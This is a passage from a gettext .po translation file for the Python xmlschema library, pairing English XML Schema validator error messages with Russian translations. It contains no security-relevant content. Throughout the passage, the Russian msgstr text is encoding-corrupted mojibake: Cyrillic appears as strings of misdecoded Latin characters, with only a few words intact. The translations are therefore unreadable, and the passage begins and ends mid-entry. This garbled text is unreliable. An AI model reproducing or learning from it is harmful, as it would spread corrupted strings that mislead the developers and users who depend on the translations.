ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒĐµÑ‚ Đ½Đ¸ Đ¾Đ´Đ½Đ¾Đ¼Ñƒ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ½Đ¾Đ¼Ñƒ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñƒ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹" #: xmlschema/validators/groups.py:1205 msgid "{0} has an unknown prefix {1!r}" msgstr "{0} Đ¸Đ¼ĐµĐµÑ‚ Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Ñ‹Đ¹ Đ¿Ñ€ĐµÑ„Đ¸ĐºÑ {1!r}" #: xmlschema/validators/groups.py:1238 msgid "wrong content type {!r}" msgstr "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ° {!r}" #: xmlschema/validators/groups.py:1282 msgid "maxOccurs must be (0 | 1) for 'all' model groups" msgstr "maxOccurs Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Ñ€Đ°Đ²ĐµĐ½ (0 | 1) Đ´Đ»Ñ Đ³Ñ€ÑƒĐ¿Đ¿ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹ 'all'" #: xmlschema/validators/groups.py:1311 #, python-brace-format msgid "an xs:{0} group cannot include a reference to an xs:{1} group" msgstr "Đ³Ñ€ÑƒĐ¿Đ¿Đ° xs:{0} Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ²ĐºĐ»ÑÑ‡Đ°Ñ‚ÑŒ ÑÑÑ‹Đ»ĐºÑƒ Đ½Đ° Đ³Ñ€ÑƒĐ¿Đ¿Ñƒ xs:{1}" #: xmlschema/validators/wildcards.py:76 #, python-format msgid "wrong value %r in 'namespace' attribute" msgstr "Đ½ĐµĐ²ĐµÑ€Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ² Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đµ 'namespace'" #: xmlschema/validators/wildcards.py:85 #, python-format msgid "wrong value %r for 'processContents' attribute" msgstr "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'processContents'" #: xmlschema/validators/wildcards.py:94 msgid "'namespace' and 'notNamespace' attributes are mutually exclusive" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ 'namespace' и 'notNamespace' ÑĐ²Đ»ÑÑÑ‚ÑÑ Đ²Đ·Đ°Đ¸Đ¼Đ¾Đ¸ÑĐºĐ»ÑÑ‡Đ°ÑÑ‰Đ¸Đ¼Đ¸" #: xmlschema/validators/wildcards.py:105 #, python-format msgid "wrong value %r in 'notNamespace' attribute" msgstr "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ² Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đµ 'notNamespace'" #: xmlschema/validators/wildcards.py:121 msgid "wrong value for 'notQName' attribute" msgstr "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'notQName'" #: xmlschema/validators/wildcards.py:128 #, python-format msgid "unmapped QName in 'notQName' attribute: %s" msgstr "Đ½ĐµÑĐ¾Đ¿Đ¾ÑÑ‚Đ°Đ²Đ»ĐµĐ½Đ½Đ¾Đµ QName Đ² Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đµ 'notQName': %s" #: xmlschema/validators/wildcards.py:132 #, python-format msgid "wrong QName format in 'notQName' attribute: %s" msgstr "Đ½ĐµĐ²ĐµÑ€Đ½Ñ‹Đ¹ Ñ„Đ¾Ñ€Đ¼Đ°Ñ‚ QName Đ² Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đµ 'notQName': %s" #: xmlschema/validators/wildcards.py:140 msgid "the namespace of each QName in notQName is allowed by notNamespace" msgstr "Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ ĐºĐ°Đ¶Đ´Đ¾Đ³Đ¾ QName Đ² notQName Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Đ¾ notNamespace" #: xmlschema/validators/wildcards.py:144 msgid "names in notQName must be in namespaces that are allowed" msgstr "Đ¸Đ¼ĐµĐ½Đ° Đ² notQName Đ´Đ¾Đ»Đ¶Đ½Ñ‹ Đ½Đ°Ñ…Đ¾Đ´Đ¸Ñ‚ÑŒÑÑ Đ² Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Đ½Ñ‹Ñ… Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ°Ñ… Đ¸Đ¼ĐµĐ½" #: xmlschema/validators/wildcards.py:319 msgid "not expressible wildcard namespace union: {0!r} V {1!r}:" msgstr "" "Đ½ĐµĐ²Ñ‹Ñ€Đ°Đ·Đ¸Đ¼Đ¾Đµ Đ¾Đ±ÑĐµĐ´Đ¸Đ½ĐµĐ½Đ¸Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ² Đ¸Đ¼ĐµĐ½ Ñ Đ¿Đ¾Đ´ÑÑ‚Đ°Đ½Đ¾Đ²Đ¾Ñ‡Đ½Ñ‹Đ¼Đ¸ Đ·Đ½Đ°ĐºĐ°Đ¼Đ¸: {0!r} V " "{1!r}:" #: xmlschema/validators/wildcards.py:473 xmlschema/validators/wildcards.py:515 msgid "element {!r} is not allowed here" msgstr "ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ {!r} здеÑÑŒ Đ·Đ°Đ¿Ñ€ĐµÑ‰ĐµĐ½" #: xmlschema/validators/wildcards.py:651 xmlschema/validators/wildcards.py:681 #, python-format msgid "attribute %r not allowed" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ %r Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½" #: xmlschema/validators/wildcards.py:663 xmlschema/validators/wildcards.py:693 #, python-format msgid "attribute %r not found" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ %r Đ½Đµ Đ½Đ°Đ¹Đ´ĐµĐ½" #: xmlschema/validators/wildcards.py:670 xmlschema/validators/wildcards.py:700 msgid "unavailable namespace {!r}" msgstr "Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿Đ½Đ¾Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ {!r}" #: xmlschema/validators/wildcards.py:857 #, python-format msgid "wrong value %r for 'mode' attribute" msgstr "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° \"Ñ€ĐµĐ¶Đ¸Đ¼\"" #: xmlschema/validators/wildcards.py:863 msgid "" "an openContent with mode='none' cannot have an <xs:any> child declaration" msgstr "openContent Ñ mode='none' Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ´Đ¾Ñ‡ĐµÑ€Đ½ĐµĐµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ <xs:any>" #: xmlschema/validators/wildcards.py:867 msgid "an <xs:any> child declaration is required" msgstr "Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ´Đ¾Ñ‡ĐµÑ€Đ½ĐµĐµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ <xs:any>" #: xmlschema/validators/wildcards.py:908 msgid "defaultOpenContent must be a child of the schema" msgstr "defaultOpenContent Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ´Đ¾Ñ‡ĐµÑ€Đ½Đ¸Đ¼ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼ ÑÑ…ĐµĐ¼Ñ‹" #: xmlschema/validators/wildcards.py:911 msgid "the attribute 'mode' of a defaultOpenContent cannot be 'none'" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'mode' defaultOpenContent Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ 'none'" #: xmlschema/validators/wildcards.py:914 msgid "a defaultOpenContent declaration cannot be empty" msgstr "Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ defaultOpenContent Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¿ÑƒÑÑ‚Ñ‹Đ¼" #: xmlschema/validators/schemas.py:156 msgid "XSD_VERSION must be '1.0' or '1.1'" msgstr "XSD_VERSION Đ´Đ¾Đ»Đ¶Đ½Đ° Đ±Ñ‹Ñ‚ÑŒ '1.0' или '1.1'" #: xmlschema/validators/schemas.py:336 msgid "{!r} is not a valid loglevel" msgstr "{!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¼ ÑƒÑ€Đ¾Đ²Đ½ĐµĐ¼ Đ²ĐµĐ´ĐµĐ½Đ¸Ñ Đ¶ÑƒÑ€Đ½Đ°Đ»Đ°" #: xmlschema/validators/schemas.py:352 msgid "no XSD source provided!" msgstr "иÑÑ‚Đ¾Ñ‡Đ½Đ¸Đº XSD Đ½Đµ ÑƒĐºĐ°Đ·Đ°Đ½!" #: xmlschema/validators/schemas.py:380 msgid "the attribute 'targetNamespace' cannot be an empty string" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ targetNamespace Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¿ÑƒÑÑ‚Đ¾Đ¹ ÑÑ‚Ñ€Đ¾ĐºĐ¾Đ¹" #: xmlschema/validators/schemas.py:383 msgid "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" msgstr "" "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ ({0!r} Đ²Đ¼ĐµÑÑ‚Đ¾ {1!r}) Đ´Đ»Ñ Ñ€ĐµÑурÑа XSD {2}" #: xmlschema/validators/schemas.py:460 #, python-format msgid "'global_maps' argument must be an %r instance" msgstr "Đ°Ñ€Đ³ÑƒĐ¼ĐµĐ½Ñ‚ 'global_maps' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€Đ¾Đ¼ %r" #: xmlschema/validators/schemas.py:542 msgid "cannot change the global maps instance of a meta-schema" msgstr "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ¸Đ·Đ¼ĐµĐ½Đ¸Ñ‚ÑŒ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€ Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Ñ… ĐºĐ°Ñ€Ñ‚ Đ¼ĐµÑ‚Đ°ÑÑ…ĐµĐ¼Ñ‹" #: xmlschema/validators/schemas.py:675 xmlschema/validators/schemas.py:970 #, python-format msgid "meta-schema unavailable for %r" msgstr "Đ¼ĐµÑ‚Đ°ÑÑ…ĐµĐ¼Đ° Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿Đ½Đ° Đ´Đ»Ñ %r" #: xmlschema/validators/schemas.py:682 msgid "missing XSD namespace in meta-schema" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ XSD Đ² Đ¼ĐµÑ‚Đ°ÑÑ…ĐµĐ¼Đµ" #: xmlschema/validators/schemas.py:754 msgid "Missing meta-schema source URL" msgstr "ĐÑ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ URL-Đ°Đ´Ñ€ĐµÑ Đ¸ÑÑ‚Đ¾Ñ‡Đ½Đ¸ĐºĐ° Đ¼ĐµÑ‚Đ°-ÑÑ…ĐµĐ¼Ñ‹" #: xmlschema/validators/schemas.py:766 msgid "" "The argument 'base_schemas' must be a dictionary or a sequence of couples" msgstr "" "ĐÑ€Đ³ÑƒĐ¼ĐµĐ½Ñ‚ 'base_schemas' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ ÑĐ»Đ¾Đ²Đ°Ñ€ĐµĐ¼ или Đ¿Đ¾ÑĐ»ĐµĐ´Đ¾Đ²Đ°Ñ‚ĐµĐ»ÑŒĐ½Đ¾ÑÑ‚ÑŒÑ Đ¿Đ°Ñ€" #: xmlschema/validators/schemas.py:803 xmlschema/validators/schemas.py:815 msgid "(restriction | list | union) expected" msgstr "Đ¾Đ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ (restriction | list | union)" #: xmlschema/validators/schemas.py:826 msgid "missing attribute 'name' in a global simpleType" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¼ simpleType" #: xmlschema/validators/schemas.py:831 msgid "attribute 'name' not allowed for a local simpleType" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¼ simpleType" #: xmlschema/validators/schemas.py:875 msgid "'model' argument must be (sequence | choice | all)" msgstr "Đ°Ñ€Đ³ÑƒĐ¼ĐµĐ½Ñ‚ 'model' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ (sequence | choice | all)" #: xmlschema/validators/schemas.py:990 #, python-format msgid "schema %r is not built" msgstr "ÑÑ…ĐµĐ¼Đ° %r Đ½Đµ ÑĐ¾Đ·Đ´Đ°ĐµÑ‚ÑÑ" #: xmlschema/validators/schemas.py:1095 msgid "the namespace {!r} is not loaded" msgstr "Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ {!r} Đ½Đµ Đ·Đ°Đ³Ñ€ÑƒĐ¶ĐµĐ½Đ¾" #: xmlschema/validators/schemas.py:1117 msgid "'converter' argument must be a {0!r} subclass or instance: {1!r}" msgstr "" "Đ°Ñ€Đ³ÑƒĐ¼ĐµĐ½Ñ‚ 'converter' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ´ĐºĐ»Đ°ÑÑĐ¾Đ¼ {0!r} или ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€Đ¾Đ¼: {1!r}" #: xmlschema/validators/schemas.py:1172 msgid "cannot include schema {0!r}: {1}" msgstr "Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ²ĐºĐ»ÑÑ‡Đ°Ñ‚ÑŒ ÑÑ…ĐµĐ¼Ñƒ {0!r}: {1}" #: xmlschema/validators/schemas.py:1186 #, python-format msgid "Redefine schema failed: %s" msgstr "Đе ÑƒĐ´Đ°Đ»Đ¾ÑÑŒ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»Đ¸Ñ‚ÑŒ ÑÑ…ĐµĐ¼Ñƒ: %s" #: xmlschema/validators/schemas.py:1191 msgid "cannot redefine schema {0!r}: {1}" msgstr "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»Đ¸Ñ‚ÑŒ ÑÑ…ĐµĐ¼Ñƒ {0!r}: {1}" #: xmlschema/validators/schemas.py:1207 #, python-format msgid "Override schema failed: %s" msgstr "ĐÑˆĐ¸Đ±ĐºĐ° Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Ñ ÑÑ…ĐµĐ¼Ñ‹: %s" #: xmlschema/validators/schemas.py:1269 msgid "" "if the 'namespace' attribute is not present on the import statement then the " "imported schema must have a 'targetNamespace'" msgstr "" "еÑли Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'namespace' Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ² Đ¾Đ¿ĐµÑ€Đ°Ñ‚Đ¾Ñ€Đµ Đ¸Đ¼Đ¿Đ¾Ñ€Ñ‚Đ°, Ñ‚Đ¾ Đ¸Đ¼Đ¿Đ¾Ñ€Ñ‚Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ°Ñ " "ÑÑ…ĐµĐ¼Đ° Đ´Đ¾Đ»Đ¶Đ½Đ° Đ¸Đ¼ĐµÑ‚ÑŒ 'targetNamespace'" #: xmlschema/validators/schemas.py:1275 msgid "" "the attribute 'namespace' must be different from schema's 'targetNamespace'" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'namespace' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ¾Ñ‚Đ»Đ¸Ñ‡Đ°Ñ‚ÑŒÑÑ Đ¾Ñ‚ 'targetNamespace' ÑÑ…ĐµĐ¼Ñ‹" #: xmlschema/validators/schemas.py:1322 msgid "cannot import namespace {0!r}: {1}" msgstr "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ¸Đ¼Đ¿Đ¾Ñ€Ñ‚Đ¸Ñ€Đ¾Đ²Đ°Ñ‚ÑŒ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ {0!r}: {1}" #: xmlschema/validators/schemas.py:1324 #, python-format msgid "cannot import chameleon schema: %s" msgstr "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ¸Đ¼Đ¿Đ¾Ñ€Ñ‚Đ¸Ñ€Đ¾Đ²Đ°Ñ‚ÑŒ ÑÑ…ĐµĐ¼Ñƒ-Ñ…Đ°Đ¼ĐµĐ»ĐµĐ¾Đ½: %s" #: xmlschema/validators/schemas.py:1388 msgid "imported schema {0!r} has an unmatched namespace {1!r}" msgstr "Đ¸Đ¼Đ¿Đ¾Ñ€Ñ‚Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ°Ñ ÑÑ…ĐµĐ¼Đ° {0!r} Đ¸Đ¼ĐµĐµÑ‚ Đ½ĐµĐ¾Đ¿Đ¾Đ·Đ½Đ°Đ½Đ½Đ¾Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ {1!r}" #: xmlschema/validators/schemas.py:1435 msgid "target directory {} is not empty" msgstr "Ñ†ĐµĐ»ĐµĐ²Đ¾Đ¹ ĐºĐ°Ñ‚Đ°Đ»Đ¾Đ³ {} Đ½Đµ Đ¿ÑƒÑÑ‚" #: xmlschema/validators/schemas.py:1438 msgid "target {} is not a directory" msgstr "Ñ†ĐµĐ»ĐµĐ²Đ¾Đ¹ {} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ ĐºĐ°Ñ‚Đ°Đ»Đ¾Đ³Đ¾Đ¼" #: xmlschema/validators/schemas.py:1441 msgid "target parent directory {} does not exist" msgstr "Ñ†ĐµĐ»ĐµĐ²Đ¾Đ¹ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒÑĐºĐ¸Đ¹ ĐºĐ°Ñ‚Đ°Đ»Đ¾Đ³ {} Đ½Đµ ÑÑƒÑ‰ĐµÑÑ‚Đ²ÑƒĐµÑ‚" #: xmlschema/validators/schemas.py:1444 msgid "target parent {} is not a directory" msgstr "Ñ†ĐµĐ»ĐµĐ²Đ¾Đ¹ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒ {} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ ĐºĐ°Ñ‚Đ°Đ»Đ¾Đ³Đ¾Đ¼" #: xmlschema/validators/schemas.py:1537 msgid "invalid attribute vc:minVersion value" msgstr "Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° vc:minVersion" #: xmlschema/validators/schemas.py:1546 msgid "invalid attribute vc:maxVersion value" msgstr "Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° vc:maxVersion" #: xmlschema/validators/schemas.py:1622 xmlschema/validators/schemas.py:1629 #: xmlschema/validators/schemas.py:1635 msgid "{!r} is not a valid value for xs:QName" msgstr "{!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¼ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸ĐµĐ¼ Đ´Đ»Ñ xs:QName" #: xmlschema/validators/schemas.py:1641 msgid "prefix {!r} not found in namespace map" msgstr "Đ¿Ñ€ĐµÑ„Đ¸ĐºÑ {!r} Đ½Đµ Đ½Đ°Đ¹Đ´ĐµĐ½ Đ² ĐºĐ°Ñ€Ñ‚Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ° Đ¸Đ¼ĐµĐ½" #: xmlschema/validators/schemas.py:1648 msgid "" "the QName {!r} is mapped to no namespace, but this requires that there is an " "xs:import statement in the schema without the 'namespace' attribute." msgstr "" "QName {!r} Đ½Đµ Đ¾Ñ‚Đ¾Đ±Ñ€Đ°Đ¶Đ°ĐµÑ‚ÑÑ Đ½Đ¸ Đ² ĐºĐ°ĐºĐ¾Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½, Đ½Đ¾ Đ´Đ»Ñ ÑÑ‚Đ¾Đ³Đ¾ " "Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ, Ñ‡Ñ‚Đ¾Đ±Ñ‹ Đ² ÑÑ…ĐµĐ¼Đµ Đ±Ñ‹Đ» Đ¾Đ¿ĐµÑ€Đ°Ñ‚Đ¾Ñ€ xs:import без Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'namespace'." #: xmlschema/validators/schemas.py:1657 msgid "" "the QName {0!r} is mapped to the namespace {1!r}, but this namespace has not " "an xs:import statement in the schema." msgstr "" "QName {0!r} ÑĐ¾Đ¿Đ¾ÑÑ‚Đ°Đ²Đ»ÑĐµÑ‚ÑÑ Ñ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾Đ¼ Đ¸Đ¼ĐµĐ½ {1!r}, Đ½Đ¾ ÑÑ‚Đ¾ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ " "Đ¸Đ¼ĐµĐ½ Đ½Đµ Đ¸Đ¼ĐµĐµÑ‚ Đ¾Đ¿ĐµÑ€Đ°Ñ‚Đ¾Ñ€Đ° xs:import Đ² ÑÑ…ĐµĐ¼Đµ." #: xmlschema/validators/schemas.py:1798 xmlschema/validators/schemas.py:1852 #: xmlschema/validators/schemas.py:1997 msgid "{!r} is not an element of the schema" msgstr "{!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼ ÑÑ…ĐµĐ¼Ñ‹" #: xmlschema/validators/schemas.py:1826 #, python-format msgid "IDREF %r not found in XML document" msgstr "IDREF %r Đ½Đµ Đ½Đ°Đ¹Đ´ĐµĐ½ Đ² XML-Đ´Đ¾ĐºÑƒĐ¼ĐµĐ½Ñ‚Đµ" #: xmlschema/validators/schemas.py:2076 msgid "encoding needs at least one XSD element declaration" msgstr "Đ´Đ»Ñ ĐºĐ¾Đ´Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ¸Ñ Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Ñ…Đ¾Ñ‚Ñ Đ±Ñ‹ Đ¾Đ´Đ½Đ¾ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ° XSD" #: xmlschema/validators/schemas.py:2110 #, python-format msgid "the path %r doesn't match any element of the schema!" msgstr "Đ¿ÑƒÑ‚ÑŒ %r Đ½Đµ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒĐµÑ‚ Đ½Đ¸ Đ¾Đ´Đ½Đ¾Đ¼Ñƒ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñƒ ÑÑ…ĐµĐ¼Ñ‹!" #: xmlschema/validators/schemas.py:2112 msgid "" "unable to select an element for decoding data, provide a valid 'path' " "argument." msgstr "" "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ²Ñ‹Đ±Ñ€Đ°Ñ‚ÑŒ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Đ´Đ»Ñ Đ´ĐµĐºĐ¾Đ´Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ¸Ñ Đ´Đ°Đ½Đ½Ñ‹Ñ…, ÑƒĐºĐ°Đ¶Đ¸Ñ‚Đµ Đ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¹ " "Đ°Ñ€Đ³ÑƒĐ¼ĐµĐ½Ñ‚ 'path'." #: xmlschema/validators/simple_types.py:133 msgid "facets not allowed for a direct derivation of xs:anySimpleType" msgstr "Đ½Đ°Đ±Đ¾Ñ€Ñ‹ Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Ñ‹ Đ´Đ»Ñ Đ¿Ñ€ÑĐ¼Đ¾Đ³Đ¾ Đ½Đ°ÑĐ»ĐµĐ´Đ¾Đ²Đ°Đ½Đ¸Ñ Đ¾Ñ‚ xs:anySimpleType" #: xmlschema/validators/simple_types.py:137 msgid "facets not allowed for a direct content derivation of xs:anySimpleType" msgstr "" "Đ½Đ°Đ±Đ¾Ñ€Ñ‹ Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Ñ‹ Đ´Đ»Ñ Đ¿Ñ€ÑĐ¼Đ¾Đ³Đ¾ Đ½Đ°ÑĐ»ĐµĐ´Đ¾Đ²Đ°Đ½Đ¸Ñ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ° Đ¾Ñ‚ xs:anySimpleType" #: xmlschema/validators/simple_types.py:143 msgid "one or more facets are not applicable, admitted set is {!r}" msgstr "Đ¾Đ´Đ¸Đ½ или Đ½ĐµÑĐºĐ¾Đ»ÑŒĐºĐ¾ Đ½Đ°Đ±Đ¾Ñ€Đ¾Đ² Đ½ĐµĐ¿Ñ€Đ¸Đ¼ĐµĐ½Đ¸Đ¼Ñ‹, Đ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¹ Đ½Đ°Đ±Đ¾Ñ€ {!r}" #: xmlschema/validators/simple_types.py:149 #, python-format msgid "facet group must have the same base type: %r" msgstr "Đ³Ñ€ÑƒĐ¿Đ¿Đ° Đ½Đ°Đ±Đ¾Ñ€Đ¾Đ² Đ´Đ¾Đ»Đ¶Đ½Đ° Đ¸Đ¼ĐµÑ‚ÑŒ Đ¾Đ´Đ¸Đ½ и Ñ‚Đ¾Ñ‚ же Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿: %r" #: xmlschema/validators/simple_types.py:159 msgid "'length' value must be non a negative integer" msgstr 